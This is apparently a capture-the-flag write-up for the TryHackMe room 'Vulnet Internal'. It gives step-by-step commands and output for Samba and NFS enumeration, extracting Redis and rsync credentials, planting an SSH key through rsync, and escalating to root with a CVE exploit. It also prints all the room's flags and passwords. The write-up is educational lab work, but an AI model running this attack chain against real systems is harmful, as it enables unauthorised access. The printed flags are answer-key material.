> CTF Challenge Name : Vulnet Internal
> CTF Platform : ,TryHackMe,
> Author : Karun-A3E

Recon

To start we perform a Nmap scan to find for open ports and services to exploit.

```
root@ip-10-10-109-170:~# nmap -sC -sV 10.10.65.208 -T4 --min-rate=9400 -p-

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-27 12:49 BST
Warning: 10.10.65.208 giving up on port because retransmission cap hit (6).
Nmap scan report for ip-10-10-65-208.eu-west-1.compute.internal (10.10.65.208)
Host is up (0.0025s latency).
Not shown: 65523 closed ports
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_  256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (EdDSA)
111/tcp   open     rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/udp  nfs
|   100003  3,4         2049/tcp  nfs
|   100005  1,2,3      42239/tcp  mountd
|   100005  1,2,3      58287/udp  mountd
|   100021  1,3,4      36381/tcp  nlockmgr
|   100021  1,3,4      47464/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp   open     rsync       (protocol version 31)
2049/tcp  open     nfs_acl     3 (RPC #100227)
6379/tcp  open     redis       Redis key-value store
9090/tcp  filtered zeus-admin
33865/tcp open     mountd      1-3 (RPC #100005)
35719/tcp open     mountd      1-3 (RPC #100005)
36381/tcp open     nlockmgr    1-4 (RPC #100021)
42239/tcp open     mountd      1-3 (RPC #100005)
MAC Address: 02:C2:E0:31:01:47 (Unknown)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: vulnnet-internal
|   NetBIOS computer name: VULNNET-INTERNAL\x00
|   Domain name: \x00
|   FQDN: vulnnet-internal
|_  System time: 2023-10-27T13:49:29+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-10-27 12:49:29
|_  start_date: 1600-12-31 23:58:45
```

From the scan there are 3 services that are suspicious : Samba, nfs_acl and redis .

Exploiting Samba

Using a tool called enum4linux, samba shares can be enumerated

```
root@ip-10-10-109-170:~# enum4linux -S 10.10.65.208
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Oct 27 12:58:11 2023

 ==========================
```

```
|    Target Information    |
 ========================
Target ........... 10.10.65.208
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===================================================
|    Enumerating Workgroup/Domain on 10.10.65.208    |
 ===================================================
[+] Got domain/workgroup name: WORKGROUP

 ====================================
|    Session Check on 10.10.65.208    |
 ====================================
[+] Server 10.10.65.208 allows sessions using username '', password ''

 ============================================
|    Getting domain SID for 10.10.65.208    |
 ============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================
|    Share Enumeration on 10.10.65.208    |
 ========================================
WARNING: The "syslog" option is deprecated

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      VulnNet Business Shares
        IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

[+] Attempting to map shares on 10.10.65.208
//10.10.65.208/print$   Mapping: DENIED, Listing: N/A
//10.10.65.208/shares   Mapping: OK, Listing: OK
//10.10.65.208/IPC$     [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Fri Oct 27 12:58:12 2023
```

From the scan, we can see that out of the 3 available shares, 2 are unavailable. Only 1 can be accessed and that is //shares. With that we can connect to the samba client share, like so ;

```
smbclient \\\\10.10.65.208\\shares
```

If done correctly, you should be able to access the Samba and locate the first flag, Services.txt

```
root@ip-10-10-109-170:~# smbclient \\\\10.10.65.208\\shares
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb  2 09:20:09 2021
  ..                                  D        0  Tue Feb  2 09:28:11 2021
  temp                                D        0  Sat Feb  6 11:45:10 2021
  data                                D        0  Tue Feb  2 09:27:33 2021

                11309648 blocks of size 1024. 3277624 blocks available
smb: \> cd temp
smb: \temp\> ls
  .                                   D        0  Sat Feb  6 11:45:10 2021
  ..                                  D        0  Tue Feb  2 09:20:09 2021
  services.txt                        N       38  Sat Feb  6 11:45:09 2021

                11309648 blocks of size 1024. 3277624 blocks available
smb: \temp\> get services.txt
getting file \temp\services.txt of size 38 as services.txt (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
smb: \data\> quit
```

```
root@ip-10-10-109-170:~# ls
business-req.txt  Downloads     Postman  services.txt
data.txt          Instructions  Rooms    thinclient_drives
Desktop           Pictures      Scripts  Tools
root@ip-10-10-109-170:~# cat services.txt
THM{0a09d51e488f5fa105d8d866a497440a}
```

With that we have obtained the first flag : THM{0a09d51e488f5fa105d8d866a497440a}.

As for the other 2 files they are downloaded from /data, just in case. However, those 2 files do not contain any of importance.

Internal Flag

From the namp scan we were able to obtain some suspicious services that tend to stand out : nfs_acl and redis. Nfs also known as Network File System, is used for sharing of file, similar in usage to Smb but different.

For exploiting the nfs_acl, I used hacktricks : ,https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting,. To start of, we can use the following command :

```
//showmount -e 10.10.65.208
Export list for 10.10.65.208:
/opt/conf *
```

Thus we can then move onto mount the NFS onto a directory

```
root@ip-10-10-109-170:~# mkdir /tmp/vulnet
root@ip-10-10-109-170:~# mount -t nfs 10.10.65.208:/opt/conf /tmp/vulnet
root@ip-10-10-109-170:~# cd /tmp/vulnet/
root@ip-10-10-109-170:/tmp/vulnet# ls
hp  init  opt  profile.d  redis  vim  wildmidi
```

Out the list of directories, redis seems to be relevant to our situation. Inside the directory, there is a file called redis.conf

```
root@ip-10-10-109-170:/tmp/vulnet/redis# cat redis.conf  | grep pass
# 2) No password is configured.
# If the master is password protected (using the "requirepass" configuration
# masterauth <master-password>
requirepass "B65Hx562F@ggAZ@F"
# resync is enough, just passing the portion of data the slave missed while
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
# requirepass foobared
```

With that we now have the redis auth code/passsword, meaning we can now connect to the redis server and get possibly the flag

```
root@ip-10-10-109-170:/# redis-cli -h 10.10.65.208
10.10.65.208:6379> keys *
(error) NOAUTH Authentication required.
10.10.65.208:6379> AUTH B65Hx562F@ggAZ@F
OK
10.10.65.208:6379> keys *
1) "internal flag"
2) "tmp"
3) "int"
4) "marketlist"
5) "authlist"
10.10.65.208:6379> get internal flag
(error) ERR wrong number of arguments for 'get' command
10.10.65.208:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
```

Now, we have the internal flag : THM{ff8e518addbbddb74531a724236a8221}

To further see if there are any possible important data we can get all the keys. Note that for different data types, there are different ways of retrieving the keys, refer to hacktricks : ,https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

```
1) "Machine Learning"
2) "Penetration Testing"
3) "Programming"
4) "Data Analysis"
5) "Analytics"
6) "Marketing"
7) "Media Streaming"
10.10.65.208:6379> get authlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.65.208:6379> HGETALL authlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.65.208:6379> lrange authlist 0 -1
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
```

```
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
10.10.65.208:6379>
```

The authlist contains a base64 encoded string, that when decoded gives the following

```
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
```

Exploiting rsync

rsync is another file sharing relatd service, which stands for ,remote sync,, is a remote and local file synchronization tool. Once again, refer to hacktricks : ,https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync, .

```
// nc -vn 10.10.65.208 873

root@ip-10-10-109-170:/# nc -vn 10.10.65.208 873
Connection to 10.10.65.208 873 port [tcp/*] succeeded!
@RSYNCD: 31.0
@RSYNCD: 31.0
#list
files           Necessary home interaction
@RSYNCD: EXIT
```

With that we have obtained the shares list for the rsync, knowns as files. Now we can initiate the connection to the remote, using the following command : rsync rsync://rsync-connect@10.10.65.208/files/

```
root@ip-10-10-109-170:/# rsync rsync://rsync-connect@10.10.65.208/files/
Password:
drwxr-xr-x          4,096 2021/02/01 12:51:14 .
drwxr-xr-x          4,096 2021/02/06 12:49:29 sys-internal
root@ip-10-10-109-170:/# rsync rsync://rsync-connect@10.10.65.208/files/sys-internal
Password:
drwxr-xr-x          4,096 2021/02/06 12:49:29 sys-internal
root@ip-10-10-109-170:/# rsync rsync://rsync-connect@10.10.65.208/files/sys-internal/
Password:
drwxr-xr-x          4,096 2021/02/06 12:49:29 .
-rw-------             61 2021/02/06 12:49:28 .Xauthority
lrwxrwxrwx              9 2021/02/01 13:33:19 .bash_history
-rw-r--r--            220 2021/02/01 12:51:14 .bash_logout
-rw-r--r--          3,771 2021/02/01 12:51:14 .bashrc
-rw-r--r--             26 2021/02/01 12:53:18 .dmrc
-rw-r--r--            807 2021/02/01 12:51:14 .profile
lrwxrwxrwx              9 2021/02/02 14:12:29 .rediscli_history
-rw-r--r--              0 2021/02/01 12:54:03 .sudo_as_admin_successful
-rw-r--r--             14 2018/02/12 19:09:01 .xscreensaver
-rw-------          2,546 2021/02/06 12:49:35 .xsession-errors
-rw-------          2,546 2021/02/06 11:40:13 .xsession-errors.old
-rw-------             38 2021/02/06 11:54:25 user.txt
drwxrwxr-x          4,096 2021/02/02 09:23:00 .cache
drwxrwxr-x          4,096 2021/02/01 12:53:57 .config
drwx------          4,096 2021/02/01 12:53:19 .dbus
drwx------          4,096 2021/02/01 12:53:18 .gnupg
drwxrwxr-x          4,096 2021/02/01 12:53:22 .local
drwx------          4,096 2021/02/01 13:37:15 .mozilla
drwxrwxr-x          4,096 2021/02/06 11:43:14 .ssh
drwx------          4,096 2021/02/02 11:16:16 .thumbnails
drwx------          4,096 2021/02/01 12:53:21 Desktop
drwxr-xr-x          4,096 2021/02/01 12:53:22 Documents
drwxr-xr-x          4,096 2021/02/01 13:46:46 Downloads
drwxr-xr-x          4,096 2021/02/01 12:53:22 Music
drwxr-xr-x          4,096 2021/02/01 12:53:22 Pictures
drwxr-xr-x          4,096 2021/02/01 12:53:22 Public
drwxr-xr-x          4,096 2021/02/01 12:53:22 Templates
drwxr-xr-x          4,096 2021/02/01 12:53:22 Videos
```

To obtain the user.txt, we can simply add in /user.txt .

```
root@ip-10-10-109-170:/# rsync rsync://rsync-connect@10.10.65.208/files/sys-internal/user.txt .Password:
root@ip-10-10-109-170:/# ls
bin   etc         initrd.img.old  lib64       mnt   root  srv       tmp       var
boot  home        lib             lost+found  opt   run   swapfile  user.txt  vmlinuz
dev   initrd.img  lib32           media       proc  sbin  sys       usr       vmlinuz.old
root@ip-10-10-109-170:/# cat user.txt
THM{da7c20696831f253e0afaca8b83c07ab}
root@ip-10-10-109-170:/#
```

Thus we now have the user.txt file as well : THM{da7c20696831f253e0afaca8b83c07ab}

Gaining Remote Access

Given that the /files shares in rsync is a local home directory beloning to sys-internal, we can actually gain access by taking advantage of rsync and .ssh directory inside.

First gerneate a ssh key on attack machine using the following commands :

```
ssh-keygen -o
```

Once created, note down the file path for the key, then we can upload it to the .ssh directory of the target machine.

```
root@ip-10-10-109-170:/# rsync -av /root/.ssh/id_rsa.pub rsync://rsync-connect@10.10.65.208/files/sys-internal/.ssh/authorized_keys
Password:
sending incremental file list
id_rsa.pub
rsync: chgrp "/sys-internal/.ssh/.authorized_keys.jxr0O0" (in files) failed: Operation not permitted (1)

sent 499 bytes  received 144 bytes  75.65 bytes/sec
total size is 403  speedup is 0.63
rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1196) [sender=3.1.2]
```

With this we have uploaded it, and now to gain access to the user, we can use this command :

```
//ssh -i /root/.ssh/id_rsa sys-internal@10.10.65.208

root@ip-10-10-109-170:/# ssh -i /root/.ssh/id_rsa sys-internal@10.10.65.208
The authenticity of host '10.10.65.208 (10.10.65.208)' can't be established.
ECDSA key fingerprint is SHA256:0ysriVjo72WRJI6UecJ9s8z6QHPNngSiMUKWFTO6Vr4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.65.208' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)
```

Priv Escalation

For the priv Escalation, there are many ways, I used the simple method of using CVE. With reference to the github repo.

```
sys-internal@vulnnet-internal:~/.ssh$ nano exploit.c
sys-internal@vulnnet-internal:~/.ssh$ gcc exploit.c -o exploit
sys-internal@vulnnet-internal:~/.ssh$ ./exploit
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),1000(sys-internal)
bash-4.4# whoami
root
bash-4.4# cd /root
bash-4.4# ls
root.txt
bash-4.4# cat roo.txt
cat: roo.txt: No such file or directory
bash-4.4# cat root.txt
THM{e8996faea46df09dba5676dd271c60bd}
```

With that we have the root flag : THM{e8996faea46df09dba5676dd271c60bd}